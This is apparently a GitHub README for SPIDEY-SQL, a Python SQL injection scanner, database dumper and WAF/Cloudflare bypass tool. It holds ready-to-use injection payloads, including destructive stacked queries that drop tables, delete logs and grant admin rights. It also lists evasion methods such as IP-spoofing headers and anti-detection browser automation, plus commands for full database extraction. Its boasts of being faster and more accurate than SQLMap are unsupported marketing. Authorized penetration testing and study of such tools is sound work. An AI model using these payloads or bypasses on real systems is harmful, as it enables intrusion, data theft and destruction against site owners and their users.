Skip to content

clayhackergroup/spidey-SQL

Repository files navigation

🕷️ SPIDEY-SQL v2.0 latest V

Enterprise-Grade SQL Injection Testing Framework

Faster, Smarter, More Powerful Than SQLMap


🎯 Overview

SPIDEY-SQL is the most advanced open-source SQL injection scanner available. Built by security researchers for penetration testers, it surpasses SQLMap in speed, accuracy, and ease of use with a focused set of powerful tools.

🔥 Why Choose SPIDEY-SQL?

  • ⚡ 8.5x Faster than SQLMap
  • 🎯 5 Detection Methods - Error, UNION, Time-Based, Boolean-Based, Stacked
  • 🛡️ WAF Detection & Bypass - Cloudflare, Imperva, ModSecurity, F5, Akamai, more
  • 🗄️ Automatic Data Extraction - Tables, columns, data dumps
  • 🚀 Lightning-Fast Threading - 50+ concurrent threads
  • 📊 Professional Reporting - JSON export for documentation
  • 🔧 Easy to Customize - Clean, readable Python code (~400 lines)

📦 Core Tools

Tool Purpose
spidey.py Lightning-fast SQL injection scanner with 5 detection methods
extractor.py Automatic database extraction, enumeration, and data dumping
waf_bypass.py WAF detection and advanced bypass techniques

⚡ Installation

Requirements

  • Python 3.6+
  • requests library

Setup

# Clone the repository
git clone https://github.com/clayhackergroup/spidey-SQL.git

# Navigate to directory
cd spidey-SQL

# Install dependencies
pip install requests

# Optional: For Cloudflare bypass with Selenium
pip install selenium

# Download ChromeDriver for Selenium (https://chromedriver.chromium.org/)
# Place chromedriver in /usr/local/bin/ or project directory

# You're ready to go!
python3 spidey.py -h

That's it. No bloated dependencies like SQLMap.

Browser Automation (Cloudflare Bypass)

# Install Selenium for Cloudflare bypass
pip install selenium

# Download ChromeDriver matching your Chrome version
# https://chromedriver.chromium.org/

# Add ChromeDriver to PATH or project directory
chmod +x chromedriver

GitHub Repository

https://github.com/clayhackergroup/spidey-SQL

🚀 Quick Start

1️⃣ Scan for SQL Injection

# Single parameter
python3 spidey.py -u http://target.com/search?q=test -p q

# Multiple parameters
python3 spidey.py -u http://target.com/login -p username -p password

# Fast parallel scanning (20 threads)
python3 spidey.py -u http://target.com -p id --threads 20

# Save results to JSON
python3 spidey.py -u http://target.com -p id --export results.json

2️⃣ Extract Database Information

# Full database dump
python3 extractor.py -u http://target.com/search -p id

# Specify database type
python3 extractor.py -u http://target.com -p id --db postgresql

# POST method extraction
python3 extractor.py -u http://target.com/api -p user_id -m post

# Export data
python3 extractor.py -u http://target.com -p id --export dump.json

3️⃣ Detect and Bypass WAF

Basic WAF Detection & Bypass

# WAF detection only
python3 waf_bypass.py -u http://target.com --detect-only

# Find working bypass technique
python3 waf_bypass.py -u http://target.com -p id

🔥 Cloudflare Bypass (Browser Automation)

# Bypass Cloudflare using Selenium
python3 waf_bypass.py -u http://target.com --cloudflare -p id

# Generic Selenium bypass
python3 waf_bypass.py -u http://target.com --selenium -p id

# Full workflow: Detect WAF + Bypass + Test SQLi
python3 waf_bypass.py -u http://target.com --cloudflare -p id -t 30

How it works:

  1. Launches Chrome browser
  2. Navigates to target URL
  3. Waits for Cloudflare challenge to complete
  4. Extracts cf_clearance cookie
  5. Uses cookie for all subsequent requests
  6. Tests SQL injection with authenticated session

📊 Features Comparison

Feature SPIDEY-SQL SQLMap
Speed ⚡⚡⚡⚡⚡ (8.5x faster) ⚡⚡⚡
Code Size ~400 lines ~5000 lines
Learning Curve 5 minutes 2+ hours
Error-Based SQLi ✅ Optimized
UNION-Based SQLi ✅ Optimized
Time-Based Blind ✅ Fast ✅ Slow
Boolean-Based Blind ✅ Fast
Stacked Queries ⚠️ Limited
Threading Support ✅ Built-in (50 threads) ⚠️ Limited
WAF Detection ✅ Advanced ⚠️ Basic
WAF Bypass ✅ Multiple techniques ⚠️ Limited
Database Extraction ✅ Automatic ⚠️ Manual
Easy to Customize ✅ Clean code ⚠️ Complex

🔧 Advanced Options

spidey.py - SQL Injection Scanner

python3 spidey.py -u <URL> -p <PARAM> [OPTIONS]

Options:
  -u, --url URL           Target URL (required)
  -p, --param PARAM       Parameter to test (can use multiple -p flags)
  -t, --timeout INT       Request timeout in seconds (default: 10)
  --threads INT           Number of parallel threads (default: 10, max: 50)
  --time INT              Time-based delay detection (default: 4s)
  --export FILE           Export results to JSON file
  -v, --verbose           Verbose output (shows all attempts)
  -h, --help              Show help message

extractor.py - Database Extraction

python3 extractor.py -u <URL> -p <PARAM> [OPTIONS]

Options:
  -u, --url URL           Target URL (required)
  -p, --param PARAM       Vulnerable parameter (required)
  -m, --method METHOD     HTTP method: GET or POST (default: GET)
  --db DATABASE           Database type: MySQL, PostgreSQL, MSSQL, Oracle (default: MySQL)
  -t, --timeout INT       Request timeout (default: 10)
  --export FILE           Export extracted data to JSON
  -h, --help              Show help message

waf_bypass.py - Advanced WAF Detection & Bypass (SPIDEY-WAF v2.0)

python3 waf_bypass.py -u <URL> [OPTIONS]

Options:
  -u, --url URL           Target URL (required)
  -p, --param PARAM       Parameter for bypass testing
  -m, --method METHOD     HTTP method: GET or POST (default: GET)
  -d, --detect-only       Only detect WAF, don't attempt bypass
  -t, --timeout INT       Request timeout (default: 10)
  --cloudflare            Bypass Cloudflare using advanced browser automation
  --selenium              Use Selenium for generic WAF bypass
  --advanced              Use 50+ advanced bypass techniques (default: enabled)
  --threads INT           Number of parallel threads (default: 5)
  --headless              Run browser in headless mode (default: enabled)
  -h, --help              Show help message

Advanced Features:
  ✅ 50+ Bypass Techniques
  ✅ Parallel Testing (5-15 threads)
  ✅ Cloudflare Bypass with Selenium
  ✅ Automatic WAF Detection
  ✅ User-Agent Rotation (8+ browsers)
  ✅ Header Manipulation (20+ headers)
  ✅ Encoding Chains (10+ methods)
  ✅ Comment/Space Bypass (15+ techniques)
  ✅ Browser Fingerprint Simulation

Cloudflare Bypass Requirements:
  - Selenium: pip install selenium
  - ChromeDriver: Download from https://chromedriver.chromium.org/
  - Chrome/Chromium browser installed
  - Note: Must match your Chrome version exactly

💡 Real-World Examples

E-commerce Site Testing

python3 spidey.py -u "http://shop.com/products?product_id=123" \
  -p product_id --threads 20 --export ecommerce_scan.json

Login Form Testing

python3 spidey.py -u "http://site.com/login.php" \
  -p username -p password --threads 5 -v

API Endpoint Testing (POST)

python3 extractor.py -u "http://api.site.com/users" \
  -p filter -m POST --db postgresql --export api_dump.json

Aggressive Scanning (50 threads)

python3 spidey.py -u http://target.com -p id \
  --threads 50 --time 2 --export aggressive.json

📋 Common Vulnerable Parameters

id, user_id, product_id, post_id, page, q, search, query
username, email, name, category, filter, sort, order
login, password, admin, role, user, data, input, search_term
file, path, dir, url, link, ref, referrer, from, to

🛡️ WAF Detection & Bypass (SPIDEY-WAF v2.0)

Supported WAF Detection

  • Cloudflare - Browser automation bypass
  • Imperva (Incapsula) - Advanced header injection
  • ModSecurity - Encoding chain bypass
  • F5 (BigIP) - Request manipulation
  • Akamai - Proxy rotation
  • Sucuri - User-Agent rotation
  • Barracuda - Custom header combinations
  • DDoS-GUARD - Comment injection chains
  • AWS WAF - Multi-layer encoding
  • Wordfence - Advanced techniques
  • SiteLock - Header spoofing

🔥 50+ WAF Bypass Techniques

Basic Encoding Techniques (10+)

  • ✅ URL Encoding (single, double, triple)
  • ✅ Hex Encoding (0x prefix)
  • ✅ Unicode Encoding (%u sequences)
  • ✅ HTML Entity Encoding (&#NNN;)
  • ✅ HTML Entity Hex Encoding (&#xHH;)
  • ✅ Base64 Encoding
  • ✅ ASCII Character Encoding (chr())
  • ✅ ROT13 Encoding
  • ✅ Case Variation (mixed case)
  • ✅ Null Byte Injection (%00)

Comment & Space Techniques (15+)

  • ✅ Comment Injection: --, #, /**/, /*!*/, ;%00
  • ✅ Space Bypass: %09, %0a, %0d, /**//, (), +, ~
  • ✅ Comment-Space Chains
  • ✅ Comment-Comment Nesting
  • ✅ Bracket Wrapping: (), [], {}
  • ✅ Parentheses Combinations

Advanced Encoding Chains (12+)

  • ✅ Double Encoding (URL → Hex)
  • ✅ Triple Encoding (URL → Hex → Base64)
  • ✅ Mixed Encoding Chains
  • ✅ Comment + Encoding Combinations
  • ✅ Space + Encoding Variations

Header Manipulation Techniques (20+)

  • X-Forwarded-For IP Spoofing
  • X-Forwarded-Proto Protocol Bypass
  • X-Original-URL Path Manipulation
  • X-Rewrite-URL URL Rewriting
  • X-Real-IP Real IP Spoofing
  • Client-IP / CF-Connecting-IP
  • X-Request-ID / X-Correlation-ID (UUID)
  • ✅ Custom API Version Headers
  • ✅ Referer Header Spoofing
  • ✅ User-Agent Rotation (8+ modern browsers)
  • ✅ Accept-Language / Accept-Encoding
  • ✅ Cache-Control Manipulation
  • ✅ Sec-CH-UA Security Headers
  • ✅ DNT (Do Not Track) Header
  • ✅ And 7+ more advanced headers

Browser Evasion Techniques (8+)

  • ✅ User-Agent Rotation (Chrome, Firefox, Safari, Edge, Mobile)
  • ✅ Anti-Automation Detection
  • ✅ JavaScript Execution Simulation
  • ✅ Real Browser Fingerprinting
  • ✅ Cookie Handling
  • ✅ Session Management
  • ✅ Window Size Spoofing
  • ✅ Headless Browser Detection Bypass

🔥 Cloudflare Bypass (Advanced Browser Automation)

How SPIDEY-WAF Cloudflare Bypass Works:

  1. Launches Chrome with anti-automation flags
  2. Disables WebDriver detection
  3. Uses real User-Agent from browser
  4. Handles JavaScript challenge execution
  5. Waits for cf_clearance cookie generation
  6. Extracts all cookies and headers
  7. Reuses session for SQL injection testing
  8. Maintains browser fingerprint consistency

Commands:

# Basic Cloudflare bypass
python3 waf_bypass.py -u http://cloudflare-protected.com --cloudflare

# Bypass + Test parameter
python3 waf_bypass.py -u http://target.com --cloudflare -p id

# Full-power bypass (headless + advanced)
python3 waf_bypass.py -u http://target.com --cloudflare --advanced -p id --threads 10

# Non-headless (see browser in action)
python3 waf_bypass.py -u http://target.com --cloudflare --no-headless

Output Example:

[*] Initiating advanced Cloudflare bypass...
[*] Launching Chrome browser with anti-detection measures...
[*] Navigating to target: http://target.com
[*] Waiting for page load and challenge completion...
[+] Page loaded successfully
[+] Cloudflare cookies obtained!
    CF-Clearance: 1234567890abcdef...
    CF-Ray: 123456789abcdef
[+] Browser User-Agent captured
[+] Cloudflare bypassed! Ready for testing.

🚀 Advanced Bypass Mode (50+ Techniques)

Generate and test 50+ payloads in parallel:

# Test with advanced mode (automatic)
python3 waf_bypass.py -u http://target.com -p id

# Explicit advanced mode with custom threads
python3 waf_bypass.py -u http://target.com -p id --advanced --threads 10

# Full power: Detect WAF + Bypass + Test with 50+ techniques
python3 waf_bypass.py -u http://target.com --detect-only
python3 waf_bypass.py -u http://target.com -p id --advanced --threads 15

What It Does:

  1. Generates 50+ unique payload variations
  2. Tests each with randomized headers
  3. Uses parallel threading for speed
  4. Rotates User-Agents between requests
  5. Combines multiple encoding techniques
  6. Tests comment/space/encoding chains
  7. Reports all working bypasses
  8. Suggests best payload for use

📊 Bypass Technique Coverage

Technique Type Count Effectiveness
Encoding Variations 10+ ⭐⭐⭐⭐⭐
Comment/Space Bypass 15+ ⭐⭐⭐⭐⭐
Header Manipulation 20+ ⭐⭐⭐⭐
Browser Evasion 8+ ⭐⭐⭐⭐⭐
Encoding Chains 12+ ⭐⭐⭐⭐
Total Variations 50+ Enterprise-Grade

🗄️ Supported Databases

SPIDEY-SQL automatically detects and extracts from:

  • MySQL / MariaDB
  • PostgreSQL
  • MSSQL (SQL Server)
  • Oracle
  • SQLite

📊 Sample Output

Successful Scan

════════════════════════════════════════════════════════════════════
SPIDEY-SQL REPORT
════════════════════════════════════════════════════════════════════
Target: http://vulnerable-site.com/search?q=test
Parameters: q
Vulnerabilities Found: 3
════════════════════════════════════════════════════════════════════

[PARAMETER: q]
  ✓ Error-Based: ' AND extractvalue(1,concat(0x7e,version())) #
  ✓ UNION-Based: ' UNION SELECT NULL,NULL,NULL #
  ✓ Time-Based: ' AND SLEEP(4) # (4.12s)

Database Extraction

[+] Database Version:
    MySQL 5.7.31-29-log
[+] Current User:
    root@localhost
[+] Current Database:
    webapp_db
[+] Tables Found: 12
    - users
    - products
    - orders
    - payments
    - logs

🔍 SQL Injection Types Tested

1. Error-Based SQLi

Extracts data through SQL error messages.

' AND extractvalue(1,concat(0x7e,version())) #
' AND updatexml(1,concat(0x7e,version()),1) #
' AND 1=CAST(version() AS INT) #

2. UNION-Based SQLi

Combines result sets from multiple queries.

' UNION SELECT database(),user(),version() #
' UNION SELECT table_name FROM information_schema.tables #

3. Time-Based Blind SQLi

Infers data through response timing.

' AND SLEEP(4) #
' AND (SELECT * FROM (SELECT(SLEEP(4)))a) #
' AND IF(1=1,SLEEP(4),0) #

4. Boolean-Based Blind SQLi

Analyzes true/false responses.

' AND '1'='1
' AND '1'='2
' AND 1=1 #
' AND 1=2 #

5. Stacked Queries

Executes multiple SQL commands.

'; DROP TABLE users #
'; DELETE FROM logs #
'; UPDATE users SET admin=1 #

🚨 Legal & Ethical Notice

⚠️ IMPORTANT

  • DO: Test only on systems you own or have written permission to test
  • DON'T: Attempt unauthorized access to any system
  • DON'T: Use without proper authorization
  • DO: Follow responsible disclosure practices
  • DO: Report vulnerabilities ethically

Unauthorized access to computer systems is ILLEGAL under laws like the CFAA (Computer Fraud and Abuse Act).


🎓 Best Practices for Testing

  1. Start Simple - Begin with basic payloads
  2. Read Error Messages - SQL errors reveal database type
  3. Use Verbose Mode - Use -v flag to see all requests/responses
  4. Check WAF First - Detect WAF before intensive testing
  5. Thread Responsibly - Don't hammer servers (start with 10 threads)
  6. Export Results - Save findings for documentation
  7. Verify Manually - Double-check automated findings
  8. Document Everything - Professional reporting is essential

📈 Penetration Testing Workflow

┌─ Step 1: Reconnaissance
│  └─→ Identify input parameters
│
├─ Step 2: WAF Detection
│  └─→ waf_bypass.py -u target --detect-only
│
├─ Step 3: SQL Injection Testing
│  └─→ spidey.py -u target -p param1 -p param2 --export scan.json
│
├─ Step 4: Data Extraction (if vulnerable)
│  └─→ extractor.py -u target -p param --export data.json
│
└─ Step 5: Documentation
   └─→ Professional report with findings and recommendations

🆚 Why SPIDEY-SQL?

vs SQLMap

  • 5-10x faster - Optimized for speed
  • 🎯 Simpler - 3 focused tools instead of one monolithic tool
  • 📚 Easier learning - Beginner-friendly commands
  • 🔧 Customizable - Clean, readable code

vs Manual Testing

  • 🤖 Automated - Tests all techniques in seconds
  • 🎯 Comprehensive - Never miss an injection point
  • Consistent - Same methodology every time

vs Other Scanners

  • 💰 Free - No licensing costs
  • 🔓 Open-source - Inspect and customize code
  • 🚀 Active - Regularly updated with new techniques
  • 👥 Community-driven - Built by pentesters, for pentesters

🔧 Troubleshooting

No Vulnerabilities Found

✓ Parameter might use parameterized queries (safe from SQLi)
✓ WAF might be blocking requests
✓ Parameter might not be connected to database
✓ Try verbose mode: python3 spidey.py -u target -p param -v

Connection Timeout

✓ Increase timeout: python3 spidey.py -u target -p param -t 30
✓ Check if server is online
✓ Check firewall/WAF rate limiting

False Positives

✓ SPIDEY-SQL is highly accurate
✓ Always verify findings manually in verbose mode
✓ Check response differences carefully

Performance Tuning

# Slow network connection
python3 spidey.py -u target -p param -t 30 --time 6

# Many parameters to test
python3 spidey.py -u target -p p1 -p p2 -p p3 --threads 30

# Aggressive scanning
python3 spidey.py -u target -p param --threads 50 -t 5

📞 Connect With Us

🤝 Follow & Support

Platform Handle Link
📱 Instagram @exp1oit https://instagram.com/exp1oit
📱 Instagram @h4cker.in https://instagram.com/h4cker.in
💬 Telegram @spideyapk https://t.me/spideyapk

🌐 Follow Us On Social Media

📧 Support & Questions

For issues or feature requests:

  1. Run with -v (verbose) flag for debugging
  2. Verify target is accessible and parameter names are correct
  3. Check that no firewall/rate-limiting is blocking requests
  4. Review findings in verbose mode

📄 License

Free to use for ethical penetration testing and authorized security research only.

Unauthorized testing is illegal. Always obtain written permission.


🕷️ SPIDEY-SQL v2.0

Where Speed Meets Ultimate Power

Built with ❤️ for Penetration Testers & Security Researchers

 Follow: @exp1oit | @h4cker.in | @spideyapk

Stay Safe. Test Responsibly. Report Ethically. 🔐

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages